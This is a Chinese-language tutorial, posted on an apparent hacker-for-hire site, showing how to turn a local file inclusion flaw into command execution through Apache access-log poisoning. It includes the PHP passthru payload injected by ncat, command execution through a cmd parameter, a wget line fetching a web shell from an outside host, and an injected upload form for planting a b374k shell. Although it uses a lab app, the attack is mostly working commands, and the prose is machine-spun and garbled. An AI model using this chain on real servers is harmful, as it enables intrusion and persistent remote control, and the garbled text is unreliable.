经过APACHE ACCESS LOG来使用LFI缝隙

访客5年前关于黑客接单762

本地文件包括(LFI)缝隙,常被入侵者用来提取站点地点服务器上的不同文件内容,如passwd,hosts等。但你有没有想过将它提升到另一个层级?即经过本地文件包括来获取服务器上的浏览器shell(c99,b374k等)。本文也将就此展开讨论,下面让咱们步入正题!
设置
我将运用我本地的浸透测验环境设置为例。我当时所运用的web运用程序是Mutillidae。此外,咱们有必要将Apache装备为答应目录遍历。
Options Indexes
show time
首要咱们来寻觅LFI缝隙,点击链接后咱们能够看到如下的url地址:
/index.php?page=
让咱们测验包括一个灵敏文件途径/etc/passwd,看看会发作什么。如下:
/index.php?page=/etc/passwd

居然成功读取到了文件内容!这也为咱们验证了该运用的确存在本地文件包括缝隙。接下来咱们来包括Apache access log,看看是否也能拜访到其间的内容。
拜访日志的方位和文件名在不同的体系上会有所差异,在我的体系上是/var/log/apache2/access.log。将url修正如下:
/index.php?page=/var/log/apache2/access.log

太棒了!拜访日志的内容也成功被加载。
经过以上的开始验证,现在是时分进入到咱们的第二阶段了。
Apache拜访日志的运用
在此之前,你有必要要对Apache日志有所了解。
服务器拜访日志记载服务器处理的一切恳求。
参阅来历:http://httpd.apache.org/docs/1.3/logs.html#accesslog
这也意味着咱们发送到服务器上的任何恳求都将会被保存到这儿。
首要咱们翻开一个终端,然后运用netcat向服务器发送一个GET恳求。咱们之所以没有运用浏览器发送此恳求,是因为它会对咱们的恳求进行url编码,这将导致它无法正常作业。咱们注入的代码如下:
 passthru($_GET['cmd']); ?>
关于passthru()函数:
passthru – 履行外部程序并显现原始输出
参阅来历:http://php.net/passthru
要运用netcat发送恳求,咱们需要在终端中履行以下操作:
ncat 192.168.56.101 80
然后咱们键入以下内容:
GET / passthru($_GET['cmd']); ?> HTTP/1.1
Host: 192.168.56.101
Connection: close
注:这儿你有必要将192.168.56.101更改为你方针的IP地址。这是我虚拟机的IP地址。
终究看起来应该像下面这样:
$ ncat 192.168.56.101 80
GET / HTTP/1.1
Host: 192.168.56.101
Connection: close
 
HTTP/1.1 404 Not Found
Date: Mon, 17 Mar 2014 17:34:53 GMT
Server: Apache/2.2.14 (Ubuntu) mod_mono/2.4.3 PHP/5.3.2-1ubuntu4.5 with Suhosin-Patch proxy_html/3.0.1 mod_python/3.3.1 Python/2.6.5 mod_ssl/2.2.14 OpenSSL/0.9.8k Phusion_Passenger/3.0.17 mod_perl/2.0.4 Perl/v5.10.1
Vary: Accept-Encoding
Content-Length: 202
Connection: close
Content-Type: text/html; charset=iso-8859-1
 
404 Not Found
Not Found
 
The requested URL /
现在让咱们来验证下咱们的注入是否有用,回来浏览器并向URL增加一个新参数:
cmd=
在咱们的比如中,我将运用id指令:
/index.php?page=/var/log/apache2/access.log&cmd=id
现在,咱们来看看咱们得到的输出。 仔细看,你会看到相似于红框标示的内容:

咱们的指令在服务器上成功被履行!
下面是咱们的重头戏,即获取服务器的浏览器shell。这儿有两种办法,之一种是运用wget,第二种是注入上传表单。咱们先来介绍之一种。
运用wget
Wget是一个文件下载指令。尽管并非总是那么有用,但作为最简略的办法是咱们首要需要去测验的。将cmd参数更改如下:
&cmd=wget http://somedomain.com/shellfile.php
这将把shellfile.php下载到服务器,并将其保存在当时的作业目录中(假如可读的话)。假如你想要将它保存在其它方位,你能够参阅wget手册。经过这种办法,能够为你省去上传表单的中心进程。
上传表单
假如wget不起作用,咱们能够运用上传表单这种办法。咱们将在服务器上履行echo指令,该指令将会将咱们的恣意内容写入到文件。将cmd参数更改如下:
"multipart/form-data" ACTION= echo "http://" . $_SERVER["HTTP_HOST"] . $_SERVER["REQUEST_URI"]; ?> METHOD=POST>Send this file: "userfile" TYPE="file">"submit" VALUE="Send"> move_uploaded_file($_FILES["userfile"]["tmp_name"], $_FILES["userfile"]["name"]); ?>
这将在服务器上创立一个带有上传表单的文件。然后咱们在浏览器中翻开该上传页面,上传咱们的浏览器shell。
如下所示,咱们成功上传了b374k shell。

进程回忆
1.经过获取passwd,hosts等文件来验证LFI缝隙;
2.经过LFI缝隙获取Apache日志拜访;
3.运用netcat或相似东西发送歹意恳求;
4.经过测验id,whoami等简略指令来验证代码履行;
5.运用wget或将上传表单写入服务器,将浏览器shell增加到服务器上;
6.拜访浏览器shell验证是否成功。
总结
尽管这自身并不是一个超高危险的缝隙,但在被正确运用的情况下也可能会带来巨大的安全要挟。
 

相关文章

专业黑客接单一般多少钱 专业接单黑客联系方式

专业黑客接单一般多少钱 专业接单黑客联系方式

中国黑客联盟的安全工程师上周透露,中国黑客联盟产品的持续安全改进终于开始见效。 中国黑客联盟的安全工程师Matt Miller在以色列举行的BlueHat安全会议上的一次演讲中说,现在广泛和...

Web缓存操控战略详解

Cache-Control 办理Web缓存的最常用和最有用的办法之一是经过Cache-Control HTTP标头,由于此标头适用于Web页面的缓存,这意味着咱们页面上的一切内容都能够具有十分精细化的...

如何用虚拟钱银匿名注册域名

以比特币为首的P2P虚拟钱银推翻了人们对钱银的认知,也为网上生意供给了新的途径。近几年来,虚拟钱银付出以其去中心化、匿名性等特色深受欢迎,活泼在各个领域,涵盖了电商、慈悲安排、企业院校等合法组织,当然...

浅谈web安全之手艺检测sql注入以及取得信息

所谓SQL注入,便是经过把SQL指令刺进到Web表单递送或输入域名或页面恳求的查询字符串,终究到达诈骗服务器履行歹意的SQL指令。 查验是否可以注入 and 1=1 正常 and 1=2 犯错 h...

新手攻略:DVWA-1.9全等级教程之SQL Injection

现在,最新的DVWA现已更新到1.9版别(http://www.dvwa.co.uk/),而网上的教程大多停留在旧版别,且没有针对DVWA high等级的教程,因而萌发了一个编撰新手教程的主意,过错的...

Pastebin Hacking新姿态:运用jQuery替换进行歹意软件传达

跟着各种网络技能不断发展,黑客关于网站进犯也总是不断改换战略以及通过相互之间的交流来改善进犯技能。而事实上就现在网站安全方面,面对的应战首要也正是来自于进犯技能不断的演进,使得防护也需不断晋级。在之...